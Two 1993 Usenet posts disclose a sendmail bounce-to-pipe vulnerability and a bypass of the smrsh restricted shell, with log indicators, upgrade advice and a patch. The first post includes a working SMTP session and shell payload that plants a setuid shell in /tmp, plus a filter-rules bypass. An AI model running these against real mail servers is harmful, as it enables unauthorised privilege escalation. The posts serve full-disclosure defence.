Path: panix!not-for-mail From: jhawk@panix.com (John Hawkinson) Newsgroups: comp.mail.sendmail,comp.security.unix,alt.security,comp.security.misc,comp.mail.misc Subject: More details on the sendmail hole, including smrsh hole. Followup-To: comp.mail.sendmail,comp.security.unix Date: 8 Nov 1993 21:04:09 -0500 Organization: PANIX Public Access Internet and Unix, NYC Lines: 299 Approved: jhawk@panix.com (You never know, so why not?) Message-ID: <2bmtqp$nki@panix.com> References: <9311070015.AA21028@anon.penet.fi> <2bka0a$bk0@panix.com> NNTP-Posting-Host: panix.com X-David-Sternlight: You probably don't want to read past the ^L Xref: panix comp.mail.sendmail:7850 comp.security.unix:881 alt.security:11389 comp.security.misc:5934 comp.mail.misc:10622 This posting contains security spoilers. If you don't wish to read them, please go away. Don't usually see that in security groups, do you? Alexis Rosen, , asked me to write and post this as he's been up for too many days straight and needed sleep bad. In <2bka0a$bk0@panix.com>, he said: > I'm actually of the full disclosure school myself, but I've been persuaded > to hold off on this for a day because it's a Sunday, and this puts admins > at a serious disadvantage. I apologize for taking so long (19:22 eastern right now) to post this, but I've been busy today. Nevertheless, take this opportunity to remember that system administration is NOT a nine to five job, and one should be ready at all times. We would like to take this time to thank very much an11568@anon.penet.fi (an11568), who posted <9311070015.AA21028@anon.penet.fi> (aka Subject: SENDMAIL DETAILS POSTED) to comp.security.misc Saturday afternoon EST (Sun, 7 Nov 1993 00:20:02 +0000), and from whose posting we were not able to directly find a bug, but were directed towards it. Without this, we may have been as much in the dark as many of you. We would also like to thank Alec Muffitt for supporting the idea of telling everyone, without whom an11568 might not have "come out". I'll be happy to mail a copy of an11568's article to anyone who hasn't received it (send me e-mail), and I'm sure s/he will to. Note that Alexis mistakenly states that the article was in alt.security; it wasn't it was in comp.security.misc. WHAT THE BUG IS Through this sendmail bug, it is possible to become uid daemon (or whatever your sendmail delivers non-user mail as), or the uid of any user. Whether or not root can be gained depends entirely on the security of uid daemon; this hole does not allow crackers to directly become root. The specifics are as follows: * The envelope From: field, or possibly the Errors-To: header (but I've not tested it), must be set to the pipe through a bounce of your mail will be returned. Typically this is executed by uid daemon. * An error must be caused in the message such that sendmail will send a bounce to the From: envelope (or possibly to Errors-To:). These two conditions are all that is necessary to exploit the bug. As an11568 points out, typically the simplest thing to pipe to is |/usr/ucb/tail|/usr/bin/sh aka |/usr/ucb/tail|/bin/sh That's for SunOS 4.1.3. Other systems may have tail in /usr/bin or /bin/; the PATH is important in the case. The condition we have used to generate an error is an invalid Return-Receipt-To: header. There are a plethora of other ways to do so, and some of them may depend on the specifics of your sendmail; be forewarned. The last ten lines of your message should contain whatever you wish to do as uid daemon, such as: #!/bin/sh # The above line is just in case :-) echo This is a Serious Bug > /tmp/bug echo id reports: >> /tmp/bug /usr/bin/id >> /tmp/bug echo Fixing this would be good >> /tmp/bug cp /bin/sh /tmp/bugshell chmod u+s /tmp/bugshell echo /tmp/bugshell contains a setuid daemon shell >> /tmp/bug chmod ugo+rx /tmp/bugshell Which would create /tmp/bug documenting what uid was doing this, as well as create a setuid shell in /tmp/bugshell. This, of course, assumes that /tmp is writable by uid daemon. It is highly unlikely that this is not the case. A SAMPLE EXPLOITATION A sample session follows. ---cut here [panix!jhawk] ~% telnet panix.com 25 Trying 198.7.0.2 ... Connected to panix.com. Escape character is '^]'. 220 panix.com 5.65c/IDA-1.4.4 Sendmail is ready at Mon, 8 Nov 1993 19:41:13 -0500 HELO 250 Hello panix.com, why do you call yourself ? MAIL FROM: |/usr/ucb/tail|/usr/bin/sh 250 |/usr/ucb/tail|/usr/bin/sh... Sender ok RCPT TO: root 250 root... Recipient ok DATA 354 Enter mail, end with "." on a line by itself From: jhawk@panix.com (John Hawkinson) To: jhawk@panix.com (John Hawkinson) Return-Receipt-To: |foobar Subject: This is a large hole in the ground. X-Disclaimer: We take no responsibility for what might happen Hi there. Wanna play ball? #!/bin/sh # The above line is just in case :-) echo This is a Serious Bug > /tmp/bug echo id reports: >> /tmp/bug /usr/bin/id >> /tmp/bug echo Fixing this would be good >> /tmp/bug cp /bin/sh /tmp/bugshell chmod u+s /tmp/bugshell echo /tmp/bugshell contains a setuid daemon shell >> /tmp/bug chmod ugo+rx /tmp/bugshell . 250 Ok quit 221 panix.com closing connection Connection closed by foreign host. ---cut here Note that the blank lines are just for show, and the indentation was an irrelevant accidental addition. The above generates the following syslog error messages: ---cut Nov 8 19:43:10 panix sendmail[29904]: AA29904: message-id=<199311090041.AA29904@panix.com> Nov 8 19:43:10 panix sendmail[29904]: AA29904: from=|/usr/ucb/tail|/usr/bin/sh, size=564, class=0, received from panix.com (198.7.0.2) Nov 8 19:43:11 panix sendmail[257]: AA29904: to=root, delay=00:01:42, stat=Sent, mailer=local Nov 8 19:43:11 panix sendmail[257]: AA00257: message-id=<199311090041.AA00257@panix.com> Nov 8 19:43:11 panix sendmail[257]: AA00257: from=MAILER-DAEMON, size=0, class=0, received from panix.com (198.7.0.2) Nov 8 19:43:11 panix sendmail[257]: AB00257: message-id=<199311090041.AB00257@panix.com> Nov 8 19:43:11 panix sendmail[257]: AB00257: from=MAILER-DAEMON, size=0, class=0, received from panix.com (198.7.0.2) Nov 8 19:43:13 panix smrsh: system uid 1 (effective id 1): attempt to use command ``/usr/ucb/tail|/usr/bin/sh'' Nov 8 19:43:13 panix sendmail[269]: AB00257: to=|/usr/ucb/tail|/usr/bin/sh, delay=00:00:02, stat=Service unavailable, mailer=prog ---cut Note that the last one is marked ``Service unavailable'' due to our installation of Eric Allman's smrsh (more on this soon), and the penultimate one is _from_ smrsh. By looking for such similar log entries, you may be able to determine that your system is compromised. Further note that it is unlikely for a cracker to set the envelope To: to ``root'', as I did; doing so causes root to receive the actual message, and that would be a dead giveaway. Additionally, with many versions of sendmail you can set up postmaster to be cc-ed on all mail bounces; you may wish to consider doing this, and checking for suspicious bounces. Remember that EVEN IF YOU ARE BEHIND A FIREWALL, then this bug can still affect your machine(s), if they run sendmail. PREVENTATIVE MEASURES YOU CAN TAKE So what can you do about it? A recent CERT advisory (CA-93:16, <9311050250.AA10945@tictac.cert.org> on Usenet) gives some (remarkably useful) advice, and I echo much of it; unfortunately it neglects the smrsh hole. * The best choice now appears to be get sendmail 8.6.4, which is immune to this bug, and is also fairly stable. It can be obtained from ftp.cs.berkeley.edu in /ucb/sendmail, and probably elsewhere. * An additional FLAWED possibility is to install smrsh (sendmail restricted shell) on top of your current sendmail. smrsh is available from ftp.uu.net in /pub/security/smrsh, or from ftp.cert.org in /pub/tools/smrsh. smrsh replaces the prog mailer (typically /bin/sh) with itself, and it limits what programs it will pass input to. SMRSH ALONE IS NOT A SECURE SOLUTION Regarding smrsh, it is only as secure as you can make it. By specifying no programs, you might as well make the prog mailer /bin/false. By specifying everything, you might was well not in have smrsh. The problem is the borderline: procmail and filter, two popular mail filtering programs (the latter of which comes with elm, so you might not even be aware you have installed it), allow you to perform any command upon any their input, and you can control what rules file they access from the command line. This means that an envelope From could be: MAIL FROM: /usr/local/bin/filter -f /tmp/filt And /tmp/filt, the elm filter rules file, could be: if always execute /usr/ucb/tail|/bin/sh And then you're back to square one, once a cracker discovers this. I don't think it's necessary to do a full example for this one; merely change the MAIL FROM: line in my telnet example and this will work. It should be noted that the smrsh procmail/filter holes require the cracker to have write access to a your machine in a place readable by uid daemon. Therefore, IF YOU USE AN UNMODIFIED SMRSH, YOUR SENDMAIL IS STILL VULNERABLE!!! WHAT TO DO ABOUT THE SMRSH HOLE: * Remove procmail and filter from the smrsh allowable list. This has the unfortunate side effect of bouncing any mail to users who have these in their .forward files, as well as any other aliases (like in /etc/aliases) that use them. * Install Alexis Rosen's patch to smrsh, that restricts it to uid's greater than a specified number, such as 20. This prevents daemon from executing _anything_ to the prog mailer. It also means that anything in /etc/aliases that references the prog mailer will fail; instead, you must forward the mail to an existing account in /etc/aliases, and then give that an account a .forward file, which invokes the smrsh allowed program. He says: >Here's the patch. A few notes: The whole point of this patch is that it >simply refuses to give the prog mailer _any_ chance to excecute if the >UID that sendmail is using is less than LAST_SECURE_ID. That macro defaults >to 20, which is low enough for Panix to not compromise bin or daemon or uucp >or news or whatever, and yet not blow away verious special users (like >"help") which have low UIDs, and who use vacation or filter or procmail. >The logging is probably overkill, tracking both uid and euid, but I didn't >really have time to think through the possibilities. > >To install the patch, look for the following two lines: >openlog("smrsh", LOG_ODELAY|LOG_CONS, LOG_MAIL); >#endif > >...and insert the following after them (NOT instead of them): > >#ifdef PANIX_SEMISECURE >#ifndef LAST_SECURE_UID >#define LAST_SECURE_UID 20 >#endif >if (getuid(){ >syslog(LOG_CRIT, "system uid %d (effective id %d): attempt to use command ``%s''", >getuid(), geteuid(), argv[2]); >exit(EX_UNAVAILABLE); >} >#endif /* PANIX_SEMISECURE */ > >I've tested this pretty heavily. If you want to install it, make sure that >you don't depend on the prog mailer for low-UID accounts, and think about >defining LAST_SECURE_UID in a more site-specific manner. 100 might be a good >choice. Also, make very sure that you don't use prog mailers in your aliases >file (usually in /etc or /usr/lib). All mail to such aliases is delivered >with UID 1, and it will bounce. In an emergency, you can fix this by making >users with the same names as the aliases, and giving them .forward files. >(If the alias isn't a valid username {is that possible?}, make the alias >point to a random new legitimate username, and make _that_ new user's >.forward file pass the mail on to the prog mailer.) NOTE THAT YOU'RE STILL NOT SECURE. Even with Alexis' patch, uids that can run procmail or filter are still accessible (probably). SMRSH INTEROPERABILITY WOES An additional note about smrsh: current .forward files may or may not be compatible with it. For instance, procmail documentation recommends that your .forward file be: |"IFS=' '; exec /usr/local/bin/procmail #jhawk" Which smrsh refuses to accept; it must be edited down to: /usr/local/bin/procmail FINAL MISCELLANEA On another note, I have no idea whether smail is vulnerable to this; someone really ought to find out and check. Preliminary checks by Thor Lancelot Simon, , indicate that it is not _directly_ vulnerable to the bug in the exact same way as it is with IDA sendmail, but that is hardly conclusive. Followups to comp.mail.sendmail and comp.security.unix. Feel free to post or e-mail any further questions on this topic. -- John Hawkinson Panix Public Access Unix & Internet jhawk@panix.com New York, NY Path: panix!not-for-mail From: jhawk@panix.com (John Hawkinson) Newsgroups: comp.mail.sendmail,comp.security.unix Subject: Re: More details on the sendmail hole, including smrsh hole. Date: 9 Nov 1993 00:54:26 -0500 Organization: PANIX Public Access Internet and Unix, NYC Lines: 38 Message-ID: <2bnbai$nu2@panix.com> References: <9311070015.AA21028@anon.penet.fi> <2bka0a$bk0@panix.com> <2bmtqp$nki@panix.com> NNTP-Posting-Host: panix.com X-David-Sternlight: you may nag about spelling errors, but only if you noticed the first time. Xref: panix comp.mail.sendmail:7852 comp.security.unix:889 In <2bmtqp$nki@panix.com> jhawk@panix.com (John Hawkinson) writes: >This posting contains security spoilers. If you don't wish to read >them, please go away. > The same is true here, for the most part. This post contains some minor corrections and comments. >We would also like to thank Alec Muffitt for supporting the idea of >telling everyone, without whom an11568 might not have "come out". I also would like to learn how to spell. Sorry Alec. Those in the dark: it's Alec Muffett. >A SAMPLE EXPLOITATION >A sample session follows. Matt Blaze, , has pointed out to me (via e-mail) that my sample exploitation is not valid for all versions of sendmail with the bug, and I evidently was not clear that the sample exploitation I used was not necessarily a universal one. THEREFORE, DO NOT USE MY "SAMPLE EXPLOITATION" AS A LITMUS TEST! ****** There are other ways of massaging the holes. At least ten (so I'm told, not by Matt however), in fact. If someone feels they have a more generic test, feel free to post it. >Feel free to post or e-mail any further questions on this topic. -- John Hawkinson jhawk@panix.com